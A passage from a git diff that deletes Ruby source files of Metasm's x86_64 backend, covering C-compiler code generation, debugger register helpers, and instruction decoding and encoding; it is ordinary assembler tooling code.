r] - return l - end - when :* - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) - if l.modrm.b and not l.modrm.i - if rr != 1 - l.modrm.i = l.modrm.b - l.modrm.s = rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm - end - unuse r - return l - elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 - l.modrm.s *= rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 - unuse r - return l - end - end - end - end - l = make_volatile(l, expr.type) if l.kind_of? Address - r ||= c_cexpr_inner(expr.rexpr) - c_cexpr_inner_arith(l, expr.op, r, expr.type) - l - when :'=' - r = c_cexpr_inner(expr.rexpr) - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - if expr.type.integral? or expr.type.pointer? - if r.kind_of? Address - m = r.modrm.dup - m.sz = l.sz - instr 'lea', l, m - else - if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz - raise if l.sz > r.sz - if l.sz == 8 and r.val >= 4 - reg = ([0, 1, 2, 3] - @state.used).first - if not reg - rax = Reg.new(0, r.sz) - instr 'push', rax - instr 'mov', rax, r - instr 'mov', l, Reg.new(rax.val, 8) - instr 'pop', rax - else - flushcachereg(reg) - instr 'mov', Reg.new(reg, r.sz), r - instr 'mov', l, Reg.new(reg, 8) - end - else - instr 'mov', l, Reg.new(r.val, l.sz) - end - elsif l.kind_of? ModRM and r.kind_of? Expression and l.sz == 64 - rval = r.reduce - if !rval.kind_of?(Integer) or rval > 0xffff_ffff or rval < -0x8000_0000 - r = make_volatile(r, expr.type) - unuse r - end - instr 'mov', l, r - else - instr 'mov', l, r - end - end - elsif expr.type.float? - raise 'float unhandled' - end - l - when :>, :<, :>=, :<=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz - unuse r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - instr 'cmp', l, i_to_i32(r) - elsif expr.lexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - opcc = getcc(expr.op, expr.type) - instr 'set'+opcc, Reg.new(l.val, 8) - instr 'and', l, 1 - l - else - raise 'unhandled cexpr ' + expr.to_s - end - end - - # compiles a subroutine call - def c_cexpr_inner_funcall(expr) - backup = [] - rax = Reg.new(0, 64) - - ft = expr.lexpr.type - ft = ft.pointed if ft.pointer? - ft = nil if not ft.kind_of? C::Function - - regargsmask = @state.regargs.dup - if ft - ft.args.each_with_index { |a, i| - if rn = a.has_attribute_var('register') - regargsmask.insert(i, Reg.from_str(rn).val) - end - } - end - regargsmask = regargsmask[0, expr.rexpr.length] - - (@state.abi_flushregs_call | regargsmask.compact.uniq).each { |reg| - next if reg == 4 - next if reg == 5 and @state.saved_rbp - if not @state.used.include? reg - if not @state.abi_trashregs.include? reg - @state.dirty |= [reg] - end - next - end - backup << reg - instr 'push', Reg.new(reg, 64) - @state.used.delete reg - } - - stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact - - # preserve 16byte stack align under windows - stackalign = true if @state.args_space > 0 and (stackargs + backup).length & 1 == 1 - instr 'sub', Reg.new(4, @cpusz), Expression[8] if stackalign - - stackargs.reverse_each { |arg| - raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer? - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - a = make_volatile(a, arg.type) if a.kind_of? ModRM and arg.type.name != :__int64 - unuse a - instr 'push', a - } - - regargs_unuse = [] - regargsmask.zip(expr.rexpr).reverse_each { |ra, arg| - next if not arg or not ra - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - r = Reg.new(ra, a.respond_to?(:sz) ? a.sz : 64) - instr 'mov', r, a if not a.kind_of? Reg or a.val != r.val - unuse a - regargs_unuse << r if not @state.inuse.include? ra - inuse r - } - instr 'sub', Reg.new(4, 64), Expression[@state.args_space] if @state.args_space > 0 # TODO prealloc that at func start - - if ft.kind_of? C::Function and ft.varargs and @state.args_space == 0 - # gcc stores here the nr of xmm args passed, real args are passed the standard way - instr 'xor', rax, rax - inuse rax - regargs_unuse << rax - end - - - if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function - instr 'call', Expression[expr.lexpr.name] - else - ptr = c_cexpr_inner(expr.lexpr) - unuse ptr - ptr = make_volatile(ptr, expr.lexpr.type) if ptr.kind_of? Address - instr 'call', ptr - end - regargs_unuse.each { |r| unuse r } - argsz = @state.args_space + stackargs.length * 8 - argsz += 8 if stackalign - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - - @state.abi_flushregs_call.each { |reg| flushcachereg reg } - @state.used |= backup - if @state.used.include?(0) - retreg = inuse findreg - else - retreg = inuse getreg(0) - end - backup.reverse_each { |reg| - if retreg.kind_of? Reg and reg == 0 - instr 'pop', Reg.new(retreg.val, 64) - instr 'xchg', Reg.new(reg, 64), Reg.new(retreg.val, 64) - else - instr 'pop', Reg.new(reg, 64) - end - inuse getreg(reg) - } - retreg - end - - # compiles/optimizes arithmetic operations - def c_cexpr_inner_arith(l, op, r, type) - # optimizes *2 -> <<1 - if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer - if type.integral? or type.pointer? - log2 = lambda { |v| - # TODO lol - i = 0 - i += 1 while (1 << i) < v - i if (1 << i) == v - } - if (lr = log2[rr]).kind_of? ::Integer - case op - when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) - when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) - when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) - end - else - # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. - end - end - end - - if type.float? - raise 'float unhandled' - else - c_cexpr_inner_arith_int(l, op, r, type) - end - end - - # compile an integral arithmetic expression, reg-sized - def c_cexpr_inner_arith_int(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - case op - when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of?(ModRM) and r.kind_of?(ModRM) - r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz # add rax, word [moo] - unuse r - r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [rax], bl - instr op, l, i_to_i32(r) - when 'shr', 'sar', 'shl' - if r.kind_of? Expression - instr op, l, r - else - # XXX bouh - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - unuse r - if r.val != 1 - rcx = Reg.new(1, 64) - instr 'xchg', rcx, Reg.new(r.val, 64) - l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 - end - instr op, l, Reg.new(1, 8) - instr 'xchg', rcx, Reg.new(r.val, 64) if r.val != 1 - end - when 'mul' - if l.kind_of? ModRM - if r.kind_of? Expression - ll = findreg - instr 'imul', ll, l, r - else - ll = make_volatile(l, type) - unuse ll - instr 'imul', ll, r - end - instr 'mov', l, ll - else - r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz - instr 'imul', l, r - end - unuse r - when 'div', 'mod' - lv = l.val if l.kind_of? Reg - rax = Reg.from_str 'rax' - rdx = Reg.from_str 'rdx' - if @state.used.include? rax.val and lv != rax.val - instr 'push', rax - saved_rax = true - end - if @state.used.include? rdx.val and lv != rdx.val - instr 'push', rdx - saved_rdx = true - end - - instr 'mov', rax, l if lv != rax.val - - if r.kind_of? Expression - instr 'push', r - rsp = Reg.from_str 'rsp' - r = ModRM.new(@cpusz, 64, nil, nil, rsp, nil) - need_pop = true - end - - if type.specifier == :unsigned - instr 'mov', rdx, Expression[0] - instr 'div', r - else - instr 'cdq' - instr 'idiv', r - end - unuse r - - instr 'add', rsp, 8 if need_pop - - if op == 'div' - instr 'mov', l, rax if lv != rax.val - else - instr 'mov', l, rdx if lv != rdx.val - end - - instr 'pop', rdx if saved_rdx - instr 'pop', rax if saved_rax - end - end - - def c_cexpr(expr) - case expr.op - when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', - :>, :<, :<=, :>=, :==, :'!=', :'!' - # skip no-ops - c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression - c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression - else unuse c_cexpr_inner(expr) - end - end - - def c_block_exit(block) - @state.cache.delete_if { |k, v| - case v - when C::Variable; block.symbol.index v - when Address; block.symbol.index v.target - end - } - block.symbol.each { |s| - unuse @state.bound.delete(s) - } - end - - def c_decl(var) - if var.type.kind_of? C::Array and - var.type.length.kind_of? C::CExpression - reg = c_cexpr_inner(var.type.length) - unuse reg - instr 'sub', Reg.new(4, @cpusz), reg - # TODO - end - end - - def c_ifgoto(expr, target) - case o = expr.op - when :<, :>, :<=, :>=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM - r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz - l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz - if l.kind_of? Expression - o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o - l, r = r, l - end - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - rr = i_to_i32(r) - rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX - instr 'cmp', l, rr - elsif expr.lexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - unuse l, r - op = 'j' + getcc(o, expr.lexpr.type) - instr op, Expression[target] - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - unuse r - instr 'test', r, r - instr 'jz', Expression[target] - else - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'test', r, r - instr 'jnz', Expression[target] - end - end - - def c_goto(target) - instr 'jmp', Expression[target] - end - - def c_label(name) - @state.cache.clear - @source << '' << Label.new(name) - end - - def c_return(expr) - return if not expr - @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 - end - - def c_asm(stmt) - if stmt.output or stmt.input or stmt.clobber - raise # TODO (handle %%0 => rax, gas, etc) - else - raise 'asm refering variables unhandled' if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } - @source << stmt.body - end - end - - def c_init_state(func) - @state = State.new(func) - args = func.type.args.dup - if @parser.lexer.definition['__MS_X86_64_ABI__'] - @state.args_space = 32 - @state.regargs = [1, 2, 8, 9] - else - @state.args_space = 0 - @state.regargs = [7, 6, 2, 1, 8, 9] - end - c_reserve_stack(func.initializer) - off = @state.offset.values.max.to_i - off = 0 if off < 0 - - argoff = 2*8 + @state.args_space - rlist = @state.regargs.dup - args.each { |a| - if a.has_attribute_var('register') - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - elsif r = rlist.shift - if @state.args_space > 0 - # use reserved space to spill regargs - off = -16-8*@state.regargs.index(r) - else - off = c_reserve_stack_var(a, off) - end - @state.offset[a] = off - else - @state.offset[a] = -argoff - argoff = (argoff + sizeof(a) + 7) / 8 * 8 - end - } - if not @state.offset.values.grep(::Integer).empty? - @state.saved_rbp = Reg.new(5, @cpusz) - @state.used << 5 - end - end - - def c_prolog - localspc = @state.offset.values.grep(::Integer).max - return if @state.func.attributes.to_a.include? 'naked' - @state.dirty -= @state.abi_trashregs - if localspc - localspc = (localspc + 7) / 8 * 8 - if @state.args_space > 0 and (localspc/8 + @state.dirty.length) & 1 == 1 - # ensure 16-o stack align on windows - localspc += 8 - end - ebp = @state.saved_rbp - esp = Reg.new(4, ebp.sz) - instr 'push', ebp - instr 'mov', ebp, esp - instr 'sub', esp, Expression[localspc] if localspc > 0 - - rlist = @state.regargs.dup - @state.func.type.args.each { |a| - if rn = a.has_attribute_var('register') - r = Reg.from_str(rn).val - elsif r = rlist.shift - else next - end - v = findvar(a) - instr 'mov', v, Reg.new(r, v.sz) - } - elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 - instr 'sub', Reg.new(4, @cpusz), Expression[8] - end - @state.dirty.each { |reg| - instr 'push', Reg.new(reg, @cpusz) - } - end - - def c_epilog - return if @state.func.attributes.to_a.include? 'naked' - @state.dirty.reverse_each { |reg| - instr 'pop', Reg.new(reg, @cpusz) - } - if ebp = @state.saved_rbp - instr 'mov', Reg.new(4, ebp.sz), ebp - instr 'pop', ebp - elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 - instr 'add', Reg.new(4, @cpusz), Expression[8] - end - instr 'ret' - end - - def c_program_epilog - end -end - - def new_ccompiler(parser, exe=ExeFormat.new) - exe.cpu = self if not exe.instance_variable_get('@cpu') - CCompiler.new(parser, exe) - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/debug.rb b/lib/metasm/metasm/cpu/x86_64/debug.rb deleted file mode 100644 index 10d35e5507..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/debug.rb +++ /dev/null @@ -1,59 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' - -module Metasm -class X86_64 - def dbg_register_pc - @dbg_register_pc ||= :rip - end - def dbg_register_flags - @dbg_register_flags ||= :rflags - end - - def dbg_register_list - @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(64).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) - end - - def dbg_func_arg(dbg, argnr) - if dbg.class.name =~ /win/i - list = [:rcx, :rdx, :r8, :r9] - off = 0x20 - else - list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - off = 0 - end - if r = list[argnr] - dbg.get_reg_value(r) - else - argnr -= list.length - dbg.memory_read_int(Expression[:esp, :+, off + 8 + 8*argnr]) - end - end - def dbg_func_arg_set(dbg, argnr, arg) - if dbg.class.name =~ /win/i - list = [:rcx, :rdx, :r8, :r9] - off = 0x20 - else - list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - off = 0 - end - if r = list[argnr] - dbg.set_reg_value(r, arg) - else - argnr -= list.length - dbg.memory_write_int(Expression[:esp, :+, off + 8 + 8*argnr], arg) - end - end - - # what's left is inherited from Ia32 -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/decode.rb b/lib/metasm/metasm/cpu/x86_64/decode.rb deleted file mode 100644 index 59729fa054..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/decode.rb +++ /dev/null @@ -1,311 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/decode' - -module Metasm -class X86_64 - class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, pfx={}) - m = (byte >> 6) & 3 - rm = byte & 7 - - if m == 3 - rm |= 8 if pfx[:rex_b] and (regclass != SimdReg or opsz != 64) # mm8 -> mm0 - return regclass.new(rm, opsz) - end - - adsz ||= 64 - - # mod 0/1/2 m 4 => sib - # mod 0 m 5 => rip+imm - # sib: i 4 => no index, b 5 => no base - - s = i = b = imm = nil - if rm == 4 - sib = edata.get_byte.to_i - - ii = (sib >> 3) & 7 - ii |= 8 if pfx[:rex_x] - if ii != 4 - s = 1 << ((sib >> 6) & 3) - if pfx[:mrmvex] - i = SimdReg.new(ii, pfx[:mrmvex]) - else - i = Reg.new(ii, adsz) - end - - end - - bb = sib & 7 - if bb == 5 and m == 0 - m = 2 # :i32 follows - else - bb |= 8 if pfx[:rex_b] - b = Reg.new(bb, adsz) - end - elsif rm == 5 and m == 0 - b = Reg.new(16, adsz) - m = 2 # :i32 follows - else - rm |= 8 if pfx[:rex_b] - b = Reg.new(rm, adsz) - end - - case m - when 1; itype = :i8 - when 2; itype = :i32 - end - imm = Expression[edata.decode_imm(itype, endianness)] if itype - - if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x100_0000 - # probably a base address -> unsigned - imm = Expression[imm.reduce & ((1 << adsz) - 1)] - end - - opsz = pfx[:argsz] if pfx[:argsz] - new adsz, opsz, s, i, b, imm, seg - end - end - - def decode_prefix(instr, byte) - x = super(instr, byte) - if instr.prefix.delete :rex - # rex ignored if not last - instr.prefix.delete :rex_b - instr.prefix.delete :rex_x - instr.prefix.delete :rex_r - instr.prefix.delete :rex_w - end - if byte & 0xf0 == 0x40 - x = instr.prefix[:rex] = byte - instr.prefix[:rex_b] = 1 if byte & 1 > 0 - instr.prefix[:rex_x] = 1 if byte & 2 > 0 - instr.prefix[:rex_r] = 1 if byte & 4 > 0 - instr.prefix[:rex_w] = 1 if byte & 8 > 0 - end - x - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix || {} - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - field_val_r = lambda { |f| - v = field_val[f] - v |= 8 if v and (op.fields[f][1] == 3 ? pfx[:rex_r] : pfx[:rex_b]) # gruick ? - v - } - - pfx[:rex_r] = 1 if op.fields[:vex_r] and field_val[:vex_r] == 0 - pfx[:rex_b] = 1 if op.fields[:vex_b] and field_val[:vex_b] == 0 - pfx[:rex_x] = 1 if op.fields[:vex_x] and field_val[:vex_x] == 0 - pfx[:rex_w] = 1 if op.fields[:vex_w] and field_val[:vex_w] == 1 - di.instruction.prefix = pfx if not di.instruction.prefix and not pfx.empty? # for opsz(di) + vex_w - - case op.props[:needpfx] - when 0x66; pfx.delete :opsz - when 0x67; pfx.delete :adsz - when 0xF2, 0xF3; pfx.delete :rep - end - - if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] - case pfx.delete(:seg).val - when 1; pfx[:jmphint] = 'hintnojmp' - when 3; pfx[:jmphint] = 'hintjmp' - end - end - - opsz = op.props[:argsz] || opsz(di) - adsz = pfx[:adsz] ? 32 : 64 - mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64 - - op.args.each { |a| - di.instruction.args << case a - when :reg; Reg.new field_val_r[a], opsz - when :eeec; CtrlReg.new field_val_r[a] - when :eeed; DbgReg.new field_val_r[a] - when :eeet; TstReg.new field_val_r[a] - when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regmmx; SimdReg.new field_val[a], mmxsz # rex_r ignored - when :regxmm; SimdReg.new field_val_r[a], 128 - when :regymm; SimdReg.new field_val_r[a], 256 - - when :farptr; Farptr.decode edata, @endianness, opsz - when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)] - when :i # 64bit constants are sign-extended from :i32 - type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym ) - v = edata.decode_imm(type, @endianness) - v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer - Expression[v] - - when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx.delete(:seg)) - when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg), Reg, pfx - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz]) - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) - when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) - - when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) - when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) - when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) - when :i4xmm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 128) - when :i4ymm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 256) - - when :regfp; FpReg.new field_val[a] - when :imm_val1; Expression[1] - when :imm_val3; Expression[3] - when :reg_cl; Reg.new 1, 8 - when :reg_eax; Reg.new 0, opsz - when :reg_dx; Reg.new 2, 16 - when :regfp0; FpReg.new nil - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' - if op.name == 'movsxd' - di.instruction.args[1].sz = 32 - elsif opsz == 8 - di.instruction.args[1].sz = 8 - else - di.instruction.args[1].sz = 16 - end - if pfx[:rex_w] - di.instruction.args[0].sz = 64 - elsif pfx[:opsz] - di.instruction.args[0].sz = 16 - else - di.instruction.args[0].sz = 32 - end - elsif op.name == 'crc32' - di.instruction.args[0].sz = 32 - end - - # sil => bh - di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 } - - case pfx.delete(:rep) - when :nz - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repnz' - end - when :z - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repz' - end - end - - di - end - - def decode_instr_interpret(di, addr) - super(di, addr) - - # [rip + 42] => [rip - addr + foo] - if m = di.instruction.args.grep(ModRM).first and - ((m.b and m.b.val == 16) or (m.i and m.i.val == 16)) and - m.imm and m.imm.reduce.kind_of?(Integer) - m.imm = Expression[[:-, di.address + di.bin_length], :+, di.address+di.bin_length+m.imm.reduce] - end - - di - end - - def opsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64 - elsif di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 16 - elsif di and (op || di.opcode).props[:auto64]; 64 - else 32 - end - end - - def adsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 32 - else 64 - end - end - - def register_symbols - [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15] - end - - # returns a DecodedFunction from a parsed C function prototype - def decode_c_function_prototype(cp, sym, orig=nil) - sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) - df = DecodedFunction.new - orig ||= Expression[sym.name] - - new_bt = lambda { |expr, rlen| - df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) - } - - # return instr emulation - if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' - df.noreturn = true - else - new_bt[Indirection[:rsp, @size/8, orig], nil] - end - - # register dirty (MS standard ABI) - [:rax, :rcx, :rdx, :r8, :r9, :r10, :r11].each { |r| - df.backtrace_binding.update r => Expression::Unknown - } - - if cp.lexer.definition['__MS_X86_64_ABI__'] - reg_args = [:rcx, :rdx, :r8, :r9] - else - reg_args = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - end - - al = cp.typesize[:ptr] - df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] - - # scan args for function pointers - # TODO walk structs/unions.. - stackoff = al - sym.type.args.to_a.zip(reg_args).each { |a, r| - if not r - r = Indirection[[:rsp, :+, stackoff], al, orig] - stackoff += (cp.sizeof(a) + al - 1) / al * al - end - if a.type.untypedef.kind_of? C::Pointer - pt = a.type.untypedef.type.untypedef - if pt.kind_of? C::Function - new_bt[r, nil] - df.backtracked_for.last.detached = true - elsif pt.kind_of? C::Struct - new_bt[r, al] - else - new_bt[r, cp.sizeof(nil, pt)] - end - end - } - - df - end - - def backtrace_update_function_binding_check(dasm, faddr, f, b) - # TODO save regs according to ABI - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/encode.rb b/lib/metasm/metasm/cpu/x86_64/encode.rb deleted file mode 100644 index cba3e13c8f..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/encode.rb +++ /dev/null @@ -1,293 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/encode' - -module Metasm -class X86_64 - class ModRM - def self.encode_reg(reg, mregval = 0) - v = reg.kind_of?(Reg) ? reg.val_enc : reg.val & 7 - 0xc0 | (mregval << 3) | v - end - - def encode(reg = 0, endianness = :little) - reg = reg.val if reg.kind_of? Ia32::Argument - - ret = EncodedData.new << (reg << 3) - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - if not self.b and not self.i - # imm only, use sib - or_bits[4] - imm = self.imm || Expression[0] - [ret << ((4 << 3) | 5) << imm.encode(:i32, endianness)] - - elsif (self.b and self.b.val == 16) or (self.i and self.i.val == 16) # rip+imm (rip == addr of the octet after the current instr) - # should have been filtered by #parse, but just in case - raise "invalid rip addressing #{self}" if (self.i and self.b) or (self.s and self.s != 1) - or_bits[5] - imm = self.imm || Expression[0] - [ret << imm.encode(:i32, endianness)] - - elsif not self.b and self.s != 1 - # sib with no b - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 # XXX 12 ? - or_bits[4] - s = {8=>3, 4=>2, 2=>1}[@s] - imm = self.imm || Expression[0] - fu = (s << 6) | (@i.val_enc << 3) | 5 - fu = fu.chr if s >= 2 # rb1.9 encoding fix - [ret << fu << imm.encode(:i32, endianness)] - else - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - - if not self.i or (not self.b and self.s == 1) - # no sib byte (except for [esp]) - @s, @i, @b = nil, nil, @s if not self.b - or_bits[@b.val_enc] - ret << 0x24 if @b.val_enc == 4 # XXX val_enc ? - else - # sib - or_bits[4] - - @b, @i = @i, @b if @s == 1 and @i.kind_of?(Reg) and (@i.val_enc == 4 or @b.val_enc == 5) - - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 - - s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] - fu = (s << 6) | (@i.val_enc << 3) | @b.val_enc - fu = fu.chr if s >= 2 # rb1.9 encoding fix - ret << fu - end - - imm ||= 0 if @b.val_enc == 5 - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1<<6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2<<6] - [ret << Expression.encode_imm(imm, :a32, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - rets, ret = ret, rets # or_bits[] modifies ret directly - or_bits[2<<6] - ret << @imm.encode(:a32, endianness) - [ret, rets] - end - else - [ret] - end - end - end - end - - # returns all forms of the encoding of instruction i using opcode op - # program may be used to create a new label for relative jump/call - def encode_instr_op(program, i, op) - base = op.bin.dup - oi = op.args.zip(i.args) - set_field = lambda { |f, v| - fld = op.fields[f] - base[fld[0]] |= v << fld[1] - } - - # - # handle prefixes and bit fields - # - pfx = i.prefix.map { |k, v| - case k - when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] - when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] - when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] - when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] - end - }.compact.pack 'C*' - - rex_w = rex_r = rex_x = rex_b = 0 - if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' - case i.args[0].sz - when 64; rex_w = 1 - when 32 - when 16; pfx << 0x66 - end - elsif op.name == 'crc32' - case i.args[1].sz - when 64; rex_w = 1 - when 32; - when 16; pfx << 0x66 - end - else - opsz = op.props[:argsz] || i.prefix[:sz] - oi.each { |oa, ia| - case oa - when :reg, :reg_eax, :modrm, :mrm_imm - raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz - opsz = ia.sz - end - } - opsz ||= 64 if op.props[:auto64] - opsz = op.props[:opsz] if op.props[:opsz] # XXX ? - case opsz - when 64; rex_w = 1 if not op.props[:auto64] and (not op.props[:argsz] or 